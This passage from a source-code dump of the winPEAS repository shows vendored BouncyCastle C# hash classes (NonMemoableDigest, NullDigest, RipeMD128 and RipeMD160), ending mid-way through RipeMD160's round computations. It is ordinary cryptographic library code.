Reset(IMemoable other) { MD5Digest d = (MD5Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/NonMemoableDigest.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Wrapper removes exposure to the IMemoable interface on an IDigest implementation. */ public class NonMemoableDigest : IDigest { protected readonly IDigest mBaseDigest; /** * Base constructor. * * @param baseDigest underlying digest to use. * @exception IllegalArgumentException if baseDigest is null */ public NonMemoableDigest(IDigest baseDigest) { if (baseDigest == null) throw new ArgumentNullException("baseDigest"); this.mBaseDigest = baseDigest; } public virtual string AlgorithmName { get { return mBaseDigest.AlgorithmName; } } public virtual int GetDigestSize() { return mBaseDigest.GetDigestSize(); } public virtual void Update(byte input) { mBaseDigest.Update(input); } public virtual void BlockUpdate(byte[] input, int inOff, int len) { mBaseDigest.BlockUpdate(input, inOff, len); } public virtual int DoFinal(byte[] output, int outOff) { return mBaseDigest.DoFinal(output, outOff); } public virtual void Reset() { mBaseDigest.Reset(); } public virtual int GetByteLength() { return mBaseDigest.GetByteLength(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/NullDigest.cs ================================================ using System.IO; using winPEAS._3rdParty.BouncyCastle.util.io; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { public class NullDigest : IDigest { private readonly MemoryStream bOut = new MemoryStream(); public string AlgorithmName { get { return "NULL"; } } public int GetByteLength() { // TODO Is this okay? return 0; } public int GetDigestSize() { return (int)bOut.Length; } public void Update(byte b) { bOut.WriteByte(b); } public void BlockUpdate(byte[] inBytes, int inOff, int len) { bOut.Write(inBytes, inOff, len); } public int DoFinal(byte[] outBytes, int outOff) { try { return Streams.WriteBufTo(bOut, outBytes, outOff); } finally { Reset(); } } public void Reset() { bOut.SetLength(0); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD128Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of RipeMD128 */ public class RipeMD128Digest : GeneralDigest { private const int DigestLength = 16; private int H0, H1, H2, H3; // IV's private int[] X = new int[16]; private int xOff; /** * Standard constructor */ public RipeMD128Digest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public RipeMD128Digest(RipeMD128Digest t) : base(t) { CopyIn(t); } private void CopyIn(RipeMD128Digest t) { base.CopyIn(t); H0 = t.H0; H1 = t.H1; H2 = t.H2; H3 = t.H3; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "RIPEMD128"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8) | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24); if (xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (int)(bitLength & 0xffffffff); X[15] = (int)((ulong) bitLength >> 32); } private void UnpackWord( int word, byte[] outBytes, int outOff) { outBytes[outOff] = (byte)word; outBytes[outOff + 1] = (byte)((uint) word >> 8); outBytes[outOff + 2] = (byte)((uint) word >> 16); outBytes[outOff + 3] = (byte)((uint) word >> 24); } public override int DoFinal( byte[] output, int outOff) { Finish(); UnpackWord(H0, output, outOff); UnpackWord(H1, output, outOff + 4); UnpackWord(H2, output, outOff + 8); UnpackWord(H3, output, outOff + 12); Reset(); return DigestLength; } /** * reset the chaining variables to the IV values. */ public override void Reset() { base.Reset(); H0 = unchecked((int) 0x67452301); H1 = unchecked((int) 0xefcdab89); H2 = unchecked((int) 0x98badcfe); H3 = unchecked((int) 0x10325476); xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } /* * rotate int x left n bits. */ private int RL( int x, int n) { return (x << n) | (int) ((uint) x >> (32 - n)); } /* * f1,f2,f3,f4 are the basic RipeMD128 functions. */ /* * F */ private int F1( int x, int y, int z) { return x ^ y ^ z; } /* * G */ private int F2( int x, int y, int z) { return (x & y) | (~x & z); } /* * H */ private int F3( int x, int y, int z) { return (x | ~y) ^ z; } /* * I */ private int F4( int x, int y, int z) { return (x & z) | (y & ~z); } private int F1( int a, int b, int c, int d, int x, int s) { return RL(a + F1(b, c, d) + x, s); } private int F2( int a, int b, int c, int d, int x, int s) { return RL(a + F2(b, c, d) + x + unchecked((int) 0x5a827999), s); } private int F3( int a, int b, int c, int d, int x, int s) { return RL(a + F3(b, c, d) + x + unchecked((int) 0x6ed9eba1), s); } private int F4( int a, int b, int c, int d, int x, int s) { return RL(a + F4(b, c, d) + x + unchecked((int) 0x8f1bbcdc), s); } private int FF1( int a, int b, int c, int d, int x, int s) { return RL(a + F1(b, c, d) + x, s); } private int FF2( int a, int b, int c, int d, int x, int s) { return RL(a + F2(b, c, d) + x + unchecked((int) 0x6d703ef3), s); } private int FF3( int a, int b, int c, int d, int x, int s) { return RL(a + F3(b, c, d) + x + unchecked((int) 0x5c4dd124), s); } private int FF4( int a, int b, int c, int d, int x, int s) { return RL(a + F4(b, c, d) + x + unchecked((int) 0x50a28be6), s); } internal override void ProcessBlock() { int a, aa; int b, bb; int c, cc; int d, dd; a = aa = H0; b = bb = H1; c = cc = H2; d = dd = H3; // // Round 1 // a = F1(a, b, c, d, X[ 0], 11); d = F1(d, a, b, c, X[ 1], 14); c = F1(c, d, a, b, X[ 2], 15); b = F1(b, c, d, a, X[ 3], 12); a = F1(a, b, c, d, X[ 4], 5); d = F1(d, a, b, c, X[ 5], 8); c = F1(c, d, a, b, X[ 6], 7); b = F1(b, c, d, a, X[ 7], 9); a = F1(a, b, c, d, X[ 8], 11); d = F1(d, a, b, c, X[ 9], 13); c = F1(c, d, a, b, X[10], 14); b = F1(b, c, d, a, X[11], 15); a = F1(a, b, c, d, X[12], 6); d = F1(d, a, b, c, X[13], 7); c = F1(c, d, a, b, X[14], 9); b = F1(b, c, d, a, X[15], 8); // // Round 2 // a = F2(a, b, c, d, X[ 7], 7); d = F2(d, a, b, c, X[ 4], 6); c = F2(c, d, a, b, X[13], 8); b = F2(b, c, d, a, X[ 1], 13); a = F2(a, b, c, d, X[10], 11); d = F2(d, a, b, c, X[ 6], 9); c = F2(c, d, a, b, X[15], 7); b = F2(b, c, d, a, X[ 3], 15); a = F2(a, b, c, d, X[12], 7); d = F2(d, a, b, c, X[ 0], 12); c = F2(c, d, a, b, X[ 9], 15); b = F2(b, c, d, a, X[ 5], 9); a = F2(a, b, c, d, X[ 2], 11); d = F2(d, a, b, c, X[14], 7); c = F2(c, d, a, b, X[11], 13); b = F2(b, c, d, a, X[ 8], 12); // // Round 3 // a = F3(a, b, c, d, X[ 3], 11); d = F3(d, a, b, c, X[10], 13); c = F3(c, d, a, b, X[14], 6); b = F3(b, c, d, a, X[ 4], 7); a = F3(a, b, c, d, X[ 9], 14); d = F3(d, a, b, c, X[15], 9); c = F3(c, d, a, b, X[ 8], 13); b = F3(b, c, d, a, X[ 1], 15); a = F3(a, b, c, d, X[ 2], 14); d = F3(d, a, b, c, X[ 7], 8); c = F3(c, d, a, b, X[ 0], 13); b = F3(b, c, d, a, X[ 6], 6); a = F3(a, b, c, d, X[13], 5); d = F3(d, a, b, c, X[11], 12); c = F3(c, d, a, b, X[ 5], 7); b = F3(b, c, d, a, X[12], 5); // // Round 4 // a = F4(a, b, c, d, X[ 1], 11); d = F4(d, a, b, c, X[ 9], 12); c = F4(c, d, a, b, X[11], 14); b = F4(b, c, d, a, X[10], 15); a = F4(a, b, c, d, X[ 0], 14); d = F4(d, a, b, c, X[ 8], 15); c = F4(c, d, a, b, X[12], 9); b = F4(b, c, d, a, X[ 4], 8); a = F4(a, b, c, d, X[13], 9); d = F4(d, a, b, c, X[ 3], 14); c = F4(c, d, a, b, X[ 7], 5); b = F4(b, c, d, a, X[15], 6); a = F4(a, b, c, d, X[14], 8); d = F4(d, a, b, c, X[ 5], 6); c = F4(c, d, a, b, X[ 6], 5); b = F4(b, c, d, a, X[ 2], 12); // // Parallel round 1 // aa = FF4(aa, bb, cc, dd, X[ 5], 8); dd = FF4(dd, aa, bb, cc, X[14], 9); cc = FF4(cc, dd, aa, bb, X[ 7], 9); bb = FF4(bb, cc, dd, aa, X[ 0], 11); aa = FF4(aa, bb, cc, dd, X[ 9], 13); dd = FF4(dd, aa, bb, cc, X[ 2], 15); cc = FF4(cc, dd, aa, bb, X[11], 15); bb = FF4(bb, cc, dd, aa, X[ 4], 5); aa = FF4(aa, bb, cc, dd, X[13], 7); dd = FF4(dd, aa, bb, cc, X[ 6], 7); cc = FF4(cc, dd, aa, bb, X[15], 8); bb = FF4(bb, cc, dd, aa, X[ 8], 11); aa = FF4(aa, bb, cc, dd, X[ 1], 14); dd = FF4(dd, aa, bb, cc, X[10], 14); cc = FF4(cc, dd, aa, bb, X[ 3], 12); bb = FF4(bb, cc, dd, aa, X[12], 6); // // Parallel round 2 // aa = FF3(aa, bb, cc, dd, X[ 6], 9); dd = FF3(dd, aa, bb, cc, X[11], 13); cc = FF3(cc, dd, aa, bb, X[ 3], 15); bb = FF3(bb, cc, dd, aa, X[ 7], 7); aa = FF3(aa, bb, cc, dd, X[ 0], 12); dd = FF3(dd, aa, bb, cc, X[13], 8); cc = FF3(cc, dd, aa, bb, X[ 5], 9); bb = FF3(bb, cc, dd, aa, X[10], 11); aa = FF3(aa, bb, cc, dd, X[14], 7); dd = FF3(dd, aa, bb, cc, X[15], 7); cc = FF3(cc, dd, aa, bb, X[ 8], 12); bb = FF3(bb, cc, dd, aa, X[12], 7); aa = FF3(aa, bb, cc, dd, X[ 4], 6); dd = FF3(dd, aa, bb, cc, X[ 9], 15); cc = FF3(cc, dd, aa, bb, X[ 1], 13); bb = FF3(bb, cc, dd, aa, X[ 2], 11); // // Parallel round 3 // aa = FF2(aa, bb, cc, dd, X[15], 9); dd = FF2(dd, aa, bb, cc, X[ 5], 7); cc = FF2(cc, dd, aa, bb, X[ 1], 15); bb = FF2(bb, cc, dd, aa, X[ 3], 11); aa = FF2(aa, bb, cc, dd, X[ 7], 8); dd = FF2(dd, aa, bb, cc, X[14], 6); cc = FF2(cc, dd, aa, bb, X[ 6], 6); bb = FF2(bb, cc, dd, aa, X[ 9], 14); aa = FF2(aa, bb, cc, dd, X[11], 12); dd = FF2(dd, aa, bb, cc, X[ 8], 13); cc = FF2(cc, dd, aa, bb, X[12], 5); bb = FF2(bb, cc, dd, aa, X[ 2], 14); aa = FF2(aa, bb, cc, dd, X[10], 13); dd = FF2(dd, aa, bb, cc, X[ 0], 13); cc = FF2(cc, dd, aa, bb, X[ 4], 7); bb = FF2(bb, cc, dd, aa, X[13], 5); // // Parallel round 4 // aa = FF1(aa, bb, cc, dd, X[ 8], 15); dd = FF1(dd, aa, bb, cc, X[ 6], 5); cc = FF1(cc, dd, aa, bb, X[ 4], 8); bb = FF1(bb, cc, dd, aa, X[ 1], 11); aa = FF1(aa, bb, cc, dd, X[ 3], 14); dd = FF1(dd, aa, bb, cc, X[11], 14); cc = FF1(cc, dd, aa, bb, X[15], 6); bb = FF1(bb, cc, dd, aa, X[ 0], 14); aa = FF1(aa, bb, cc, dd, X[ 5], 6); dd = FF1(dd, aa, bb, cc, X[12], 9); cc = FF1(cc, dd, aa, bb, X[ 2], 12); bb = FF1(bb, cc, dd, aa, X[13], 9); aa = FF1(aa, bb, cc, dd, X[ 9], 12); dd = FF1(dd, aa, bb, cc, X[ 7], 5); cc = FF1(cc, dd, aa, bb, X[10], 15); bb = FF1(bb, cc, dd, aa, X[14], 8); dd += c + H1; // final result for H0 // // combine the results // H1 = H2 + d + aa; H2 = H3 + a + bb; H3 = H0 + b + cc; H0 = dd; // // reset the offset and clean out the word buffer. // xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } public override IMemoable Copy() { return new RipeMD128Digest(this); } public override void Reset(IMemoable other) { RipeMD128Digest d = (RipeMD128Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD160Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of RipeMD see, * http://www.esat.kuleuven.ac.be/~bosselae/ripemd160.html */ public class RipeMD160Digest : GeneralDigest { private const int DigestLength = 20; private int H0, H1, H2, H3, H4; // IV's private int[] X = new int[16]; private int xOff; /** * Standard constructor */ public RipeMD160Digest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public RipeMD160Digest(RipeMD160Digest t) : base(t) { CopyIn(t); } private void CopyIn(RipeMD160Digest t) { base.CopyIn(t); H0 = t.H0; H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "RIPEMD160"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8) | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24); if (xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (int)(bitLength & 0xffffffff); X[15] = (int)((ulong) bitLength >> 32); } private void UnpackWord( int word, byte[] outBytes, int outOff) { outBytes[outOff] = (byte)word; outBytes[outOff + 1] = (byte)((uint) word >> 8); outBytes[outOff + 2] = (byte)((uint) word >> 16); outBytes[outOff + 3] = (byte)((uint) word >> 24); } public override int DoFinal( byte[] output, int outOff) { Finish(); UnpackWord(H0, output, outOff); UnpackWord(H1, output, outOff + 4); UnpackWord(H2, output, outOff + 8); UnpackWord(H3, output, outOff + 12); UnpackWord(H4, output, outOff + 16); Reset(); return DigestLength; } /** * reset the chaining variables to the IV values. */ public override void Reset() { base.Reset(); H0 = unchecked((int) 0x67452301); H1 = unchecked((int) 0xefcdab89); H2 = unchecked((int) 0x98badcfe); H3 = unchecked((int) 0x10325476); H4 = unchecked((int) 0xc3d2e1f0); xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } /* * rotate int x left n bits. */ private int RL( int x, int n) { return (x << n) | (int) ((uint) x >> (32 - n)); } /* * f1,f2,f3,f4,f5 are the basic RipeMD160 functions. */ /* * rounds 0-15 */ private int F1( int x, int y, int z) { return x ^ y ^ z; } /* * rounds 16-31 */ private int F2( int x, int y, int z) { return (x & y) | (~x & z); } /* * rounds 32-47 */ private int F3( int x, int y, int z) { return (x | ~y) ^ z; } /* * rounds 48-63 */ private int F4( int x, int y, int z) { return (x & z) | (y & ~z); } /* * rounds 64-79 */ private int F5( int x, int y, int z) { return x ^ (y | ~z); } internal override void ProcessBlock() { int a, aa; int b, bb; int c, cc; int d, dd; int e, ee; a = aa = H0; b = bb = H1; c = cc = H2; d = dd = H3; e = ee = H4; // // Rounds 1 - 16 // // left a = RL(a + F1(b,c,d) + X[ 0], 11) + e; c = RL(c, 10); e = RL(e + F1(a,b,c) + X[ 1], 14) + d; b = RL(b, 10); d = RL(d + F1(e,a,b) + X[ 2], 15) + c; a = RL(a, 10); c = RL(c + F1(d,e,a) + X[ 3], 12) + b; e = RL(e, 10); b = RL(b + F1(c,d,e) + X[ 4], 5) + a; d = RL(d, 10); a = RL(a + F1(b,c,d) + X[ 5], 8) + e; c = RL(c, 10); e = RL(e + F1(a,b,c) + X[ 6], 7) + d; b = RL(b, 10); d = RL(d + F1(e,a,b) + X[ 7], 9) + c; a = RL(a, 10); c = RL(c + F1(d,e,a) + X[ 8], 11) + b; e = RL(e, 10); b = RL(b + F1(c,d,e) + X[ 9], 13) + a; d = RL(d, 10); a = RL(a + F1(b,c,d) + X[10], 14) + e; c = RL(c, 10); e = RL(e + F1(a,b,c) + X[11], 15) + d; b = RL(b, 10); d = RL(d + F1(e,a,b) + X[12], 6) + c; a = RL(a, 10); c = RL(c + F1(d,e,a) + X[13], 7) + b; e = RL(e, 10); b = RL(b + F1(c,d,e) + X[14], 9) + a; d = RL(d, 10); a = RL(a + F1(b,c,d) + X[15], 8) + e; c = RL(c, 10); // right aa = RL(aa + F5(bb,cc,dd) + X[ 5] + unchecked((int) 0x50a28be6), 8) + ee; cc = RL(cc, 10); ee = RL(ee + F5(aa,bb,cc) + X[14] + unchecked((int) 0x50a28be6), 9) + dd; bb = RL(bb, 10); dd = RL(dd + F5(ee,aa,bb) + X[ 7] + unchecked((int) 0x50a28be6), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F5(dd,ee,aa) + X[ 0] + unchecked((int) 0x50a28be6), 11) + bb; ee = RL(ee, 10); bb = RL(bb + F5(cc,dd,ee) + X[ 9] + unchecked((int) 0x50a28be6), 13) + aa; dd = RL(dd, 10); aa = RL(aa + F5(bb,cc,dd) + X[ 2] + unchecked((int) 0x50a28be6), 15) + ee; cc = RL(cc, 10); ee = RL(ee + F5(aa,bb,cc) + X[11] + unchecked((int) 0x50a28be6), 15) + dd; bb = RL(bb, 10); dd = RL(dd + F5(ee,aa,bb) + X[ 4] + unchecked((int) 0x50a28be6), 5) + cc; aa = RL(aa, 10); cc = RL(cc + F5(dd,ee,aa) + X[13] + unchecked((int) 0x50a28be6), 7) + bb; ee = RL(ee, 10); bb = RL(bb + F5(cc,dd,ee) + X[ 6] + unchecked((int) 0x50a28be6), 7) + aa; dd = RL(dd, 10); aa = RL(aa + F5(bb,cc,dd) + X[15] + unchecked((int) 0x50a28be6), 8) + ee; cc = RL(cc, 10); ee = RL(ee + F5(aa,bb,cc) + X[ 8] + unchecked((int) 0x50a28be6), 11) + dd; bb = RL(bb, 10); dd = RL(dd + F5(ee,aa,bb) + X[ 1] + unchecked((int) 0x50a28be6), 14) + cc; aa = RL(aa, 10); cc = RL(cc + F5(dd,ee,aa) + X[10] + unchecked((int) 0x50a28be6), 14) + bb; ee = RL(ee, 10); bb = RL(bb + F5(cc,dd,ee) + X[ 3] + unchecked((int) 0x50a28be6), 12) + aa; dd = RL(dd, 10); aa = RL(aa + F5(bb,cc,dd) + X[12] + unchecked((int) 0x50a28be6), 6) + ee; cc = RL(cc, 10); // // Rounds 16-31 // // left e = RL(e + F2(a,b,c) + X[ 7] + unchecked((int) 0x5a827999), 7) + d; b = RL(b, 10); d = RL(d + F2(e,a,b) + X[ 4] + unchecked((int) 0x5a827999), 6) + c; a = RL(a, 10); c = RL(c + F2(d,e,a) + X[13] + unchecked((int) 0x5a827999), 8) + b; e = RL(e, 10); b = RL(b + F2(c,d,e) + X[ 1] + unchecked((int) 0x5a827999), 13) + a; d = RL(d, 10); a = RL(a + F2(b,c,d) + X[10] + unchecked((int) 0x5a827999), 11) + e; c = RL(c, 10); e = RL(e + F2(a,b,c) + X[ 6] + unchecked((int) 0x5a827999), 9) + d; b = RL(b, 10); d = RL(d + F2(e,a,b) + X[15] + unchecked((int) 0x5a827999), 7) + c; a = RL(a, 10); c = RL(c + F2(d,e,a) + X[ 3] + unchecked((int) 0x5a827999), 15) + b; e = RL(e, 10); b = RL(b + F2(c,d,e) + X[12] + unchecked((int) 0x5a827999), 7) + a; d = RL(d, 10); a = RL(a + F2(b,c,d) + X[ 0] + unchecked((int) 0x5a827999), 12) + e; c = RL(c, 10); e = RL(e + F2(a,b,c) + X[ 9] + unchecked((int) 0x5a827999), 15) + d; b = RL(b, 10); d = RL(d + F2(e,a,b) + X[ 5] + unchecked((int) 0x5a827999), 9) + c; a = RL(a, 10); c = RL(c + F2(d,e,a) + X[ 2] + unchecked((int) 0x5a827999), 11) + b; e = RL(e, 10); b = RL(b + F2(c,d,e) + X[14] + unchecked((int) 0x5a827999), 7) + a; d = RL(d, 10); a = RL(a + F2(b,c,d) + X[11] + unchecked((int) 0x5a827999), 13) + e; c = RL(c, 10); e = RL(e + F2(a,b,c) + X[ 8] + unchecked((int) 0x5a827999), 12) + d; b = RL(b, 10); // right ee = RL(ee + F4(aa,bb,cc) + X[ 6] + unchecked((int) 0x5c4dd124), 9) + dd; bb = RL(bb, 10); dd = RL(dd + F4(ee,aa,bb) + X[11] + unchecked((int) 0x5c4dd124), 13) + cc; aa = RL(aa, 10); cc = RL(cc + F4(dd,ee,aa) + X[ 3] + unchecked((int) 0x5c4dd124), 15) + bb; ee = RL(ee, 10); bb = RL(bb + F4(cc,dd,ee) + X[ 7] + unchecked((int) 0x5c4dd124), 7) + aa; dd = RL(dd, 10); aa = RL(aa + F4(bb,cc,dd) + X[ 0] + unchecked((int) 0x5c4dd124), 12) + ee; cc = RL(cc, 10); ee = RL(ee + F4(aa,bb,cc) + X[13] + unchecked((int) 0x5c4dd124), 8) + dd; bb = RL(bb, 10); dd = RL(dd + F4(ee,aa,bb) + X[ 5] + unchecked((int) 0x5c4dd124), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F4(dd,ee,aa) + X[10] + unchecked((int) 0x5c4dd124), 11) + bb; ee = RL(ee, 10); bb = RL(bb + F4(cc,dd,ee) + X[14] + unchecked((int) 0x5c4dd124), 7) + aa; dd = RL(dd, 10); aa = RL(aa + F4(bb,cc,dd) + X[15] + unchecked((int) 0x5c4dd124), 7) + ee; cc = RL(cc, 10); ee = RL(ee + F4(aa,bb,cc) + X[ 8] + unchecked((int) 0x5c4dd124), 12) + dd; bb = RL(bb, 10); dd = RL(dd + F4(ee,aa,bb) + X[12] + unchecked((int) 0x5c4dd124), 7) + cc; aa = RL(aa, 10); cc = RL(cc + F4(dd,ee,aa) + X[ 4] + unchecked((int) 0x5c4dd124), 6) + bb; ee = RL(ee, 10); bb = RL(bb + F4(cc,dd,ee) + X[ 9] + unchecked((int) 0x5c4dd124), 15) + aa; dd = RL(dd, 10); aa = RL(aa + F4(bb,cc,dd) + X[ 1] + unchecked((int) 0x5c4dd124), 13) + ee; cc = RL(cc, 10); ee = RL(ee + F4(aa,bb,cc) + X[ 2] + unchecked((int) 0x5c4dd124), 11) + dd; bb = RL(bb, 10); // // Rounds 32-47 // // left d = RL(d + F3(e,a,b) + X[ 3] + unchecked((int) 0x6ed9eba1), 11) + c; a = RL(a, 10); c = RL(c + F3(d,e,a) + X[10] + unchecked((int) 0x6ed9eba1), 13) + b; e = RL(e, 10); b = RL(b + F3(c,d,e) + X[14] + unchecked((int) 0x6ed9eba1), 6) + a; d = RL(d, 10); a = RL(a + F3(b,c,d) + X[ 4] + unchecked((int) 0x6ed9eba1), 7) + e; c = RL(c, 10); e = RL(e + F3(a,b,c) + X[ 9] + unchecked((int) 0x6ed9eba1), 14) + d; b = RL(b, 10); d = RL(d + F3(e,a,b) + X[15] + unchecked((int) 0x6ed9eba1), 9) + c; a = RL(a, 10); c = RL(c + F3(d,e,a) + X[ 8] + unchecked((int) 0x6ed9eba1), 13) + b; e = RL(e, 10); b = RL(b + F3(c,d,e) + X[ 1] + unchecked((int) 0x6ed9eba1), 15) + a; d = RL(d, 10); a = RL(a + F3(b,c,d) + X[ 2] + unchecked((int) 0x6ed9eba1), 14) + e; c = RL(c, 10); e = RL(e + F3(a,b,c) + X[ 7] + unchecked((int) 0x6ed9eba1), 8) + d; b = RL(b, 10); d = RL(d + F3(e,a,b) + X[ 0] + unchecked((int) 0x6ed9eba1), 13) + c; a = RL(a, 10); c = RL(c + F3(d,e,a) + X[ 6] + unchecked((int) 0x6ed9eba1), 6) + b; e = RL(e, 10); b = RL(b + F3(c,d,e) + X[13] + unchecked((int) 0x6ed9eba1), 5) + a; d = RL(d, 10); a = RL(a + F3(b,c,d) + X[11] + unchecked((int) 0x6ed9eba1), 12) + e; c = RL(c, 10); e = RL(e + F3(a,b,c) + X[ 5] + unchecked((int) 0x6ed9eba1), 7) + d; b = RL(b, 10); d = RL(d + F3(e,a,b) + X[12] + unchecked((int) 0x6ed9eba1), 5) + c; a = RL(a, 10); // right dd = RL(dd + F3(ee,aa,bb) + X[15] + unchecked((int) 0x6d703ef3), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F3(dd,ee,aa) + X[ 5] + unchecked((int) 0x6d703ef3), 7) + bb; ee = RL(ee, 10); bb = RL(bb + F3(cc,dd,ee) + X[ 1] + unchecked((int) 0x6d703ef3), 15) + aa; dd = RL(dd, 10); aa = RL(aa + F3(bb,cc,dd) + X[ 3] + unchecked((int) 0x6d703ef3), 11) + ee; cc = RL(cc, 10); ee = RL(ee + F3(aa,bb,cc) + X[ 7] + unchecked((int) 0x6d703ef3), 8) + dd; bb = RL(bb, 10); dd = RL(dd + F3(ee,aa,bb) + X[14] + unchecked((int) 0x6d703ef3), 6) + cc; aa = RL(aa, 10); cc = RL(cc + F3(dd,ee,aa) + X[ 6] + unchecked((int) 0x6d703ef3), 6) + bb; ee = RL(ee, 10); bb = RL(bb + F3(cc,dd,ee) + X[ 9] + unchecked((int) 0x6d703ef3), 14) + aa; dd = RL(dd, 10); aa = RL(aa + F3(bb,cc,dd) + X[11] + unchecked((int) 0x6d703ef3), 12) + ee; cc = RL(cc, 10); ee = RL(ee + F3(aa,bb,cc) + X[ 8] + unchecked((int) 0x6d703ef3), 13) + dd; bb = RL(bb, 10); dd = RL(dd + F3(ee,aa,bb) + X[12] + unchecked((int) 0x6d703ef3), 5) + cc; aa = RL(aa, 10); cc = RL(cc + F3(dd,ee,aa) + X[ 2] + unchecked((int) 0x6d703ef3), 14) + bb; ee = RL(ee, 10); bb = RL(bb + F3(cc,dd,ee) + X[10] + unchecked((int) 0x6d703ef3), 13) + aa; dd = RL(dd, 10); aa = RL(aa + F3(bb,cc,dd) + X[ 0] + unchecked((int) 0x6d703ef3), 13) + ee; cc = RL(cc, 10); ee = RL(ee + F3(aa,bb,cc) + X[ 4] + unchecked((int) 0x6d703ef3), 7) + dd; bb = RL(bb, 10); dd = RL(dd + F3(ee,aa,bb) + X[13] + unchecked((int) 0x6d703ef3), 5) + cc; aa = RL(aa, 10); // // Rounds 48-63 // // left c = RL(c + F4(d,e,a) + X[ 1] + unchecked((int) 0x8f1bbcdc), 11) + b; e = RL(e, 10); b = RL(b + F4(c,d,e) + X[ 9] + unchecked((int) 0x8f1bbcdc), 12) + a; d = RL(d, 10); a = RL(a + F4(b,c,d) + X[11] + unchecked((int) 0x8f1bbcdc), 14) + e; c = RL(c, 10); e = RL(e + F4(a,b,c) + X[10] + unchecked((int) 0x8f1bbcdc), 15) + d; b = RL(b, 10); d = RL(d + F4(e,a,b) + X[ 0] + unchecked((int) 0x8f1bbcdc), 14) + c; a = RL(a, 10); c = RL(c + F4(d,e,a) + X[ 8] + unchecked((int) 0x8f1bbcdc), 15) + b; e = RL(e, 10); b = RL(b + F4(c,d,e) + X[12] + unchecked((int) 0x8f1bbcdc), 9) + a; d = RL(d, 10); a = RL(a + F4(b,c,d) + X[ 4] + unchecked((int) 0x8f1bbcdc), 8) + e; c = RL(c, 10); e = RL(e + F4(a,b,c) + X[13] + unchecked((int) 0x8f1bbcdc), 9) + d; b = RL(b, 10); d = RL(d + F4(e,a,b) + X[ 3] + unchecked((int) 0x8f1bbcdc), 14) + c; a = RL(a, 10); c = RL(c + F4(d,e,a) + X[ 7] + unchecked((int) 0x8f1bbcdc), 5) + b; e = RL(e, 10); b = RL(b + F4(c,d,e) + X[15] + unchecked((int) 0x8f1bbcdc), 6) + a; d = RL(d, 10); a = RL(a + F4(b,c,d) + X[14] + unchecked((int) 0x8f1bbcdc), 8) + e; c = RL(c, 10); e = RL(e + F4(a,b,c) + X[ 5] + unchecked((int) 0x8f1bbcdc), 6) + d; b = RL(b, 10); d = RL(d + F4(e,a,b) + X[ 6] + unchecked((int) 0x8f1bbcdc), 5) + c; a = RL(a, 10); c = RL(c + F4(d,e,a) + X[ 2] + unchecked((int) 0x8f1bbcdc), 12) + b; e = RL(e, 10); // right cc = RL(cc + F2(dd,ee,aa) + X[ 8] + unchecked((int) 0x7a6d76e9), 15) + bb; ee = RL(ee, 10); bb = RL(bb + F2(cc,dd,ee) + X[ 6] + unchecked((int) 0x7a6d76e9), 5) + aa; dd = RL(dd, 10); aa = RL(aa + F2(bb,cc,dd) + X[ 4] + unchecked((int) 0x7a6d76e9), 8) + ee; cc = RL(cc, 10); ee = RL(ee + F2(aa,bb,cc) + X[ 1] + unchecked((int) 0x7a6d76e9), 11) + dd; bb = RL(bb, 10); dd = RL(dd + F2(ee,aa,bb) + X[ 3] + unchecked((int) 0x7a6d76e9), 14) + cc; aa = RL(aa, 10); cc = RL(cc + F2(dd,ee,aa) + X[11] + unchecked((int) 0x7a6d76e9), 14) + bb; ee = RL(ee, 10); bb = RL(bb + F2(cc,dd,ee) + X[15] + unchecked((int) 0x7a6d76e9), 6) + aa; dd = RL(dd, 10); aa = RL(aa + F2(bb,cc,dd) + X[ 0] + unchecked((int) 0x7a6d76e9), 14) + ee; cc = RL(cc, 10); ee = RL(ee + F2(aa,bb,cc) + X[ 5] + unchecked((int) 0x7a6d76e9), 6) + dd; bb = RL(bb, 10); dd = RL(dd + F2(ee,aa,bb) + X[12] + unchecked((int) 0x7a6d76e9), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F2(dd,ee,aa) + X[ 2] + unchecked((int) 0x7a6d76e9), 12) + bb; ee = RL(ee, 10); bb = RL(bb + F2(cc,dd,ee) + X[13] + unchecked((int) 0x7a6d76e9), 9) + aa; dd = RL(dd, 10); aa = RL(aa + F2(bb,cc,dd) + X[ 9] + unchecked((int) 0x7a6d76e9), 12) + ee; cc = RL(cc, 10); ee = RL(ee + F2(aa,bb,cc) + X[ 7] + unchecked((int) 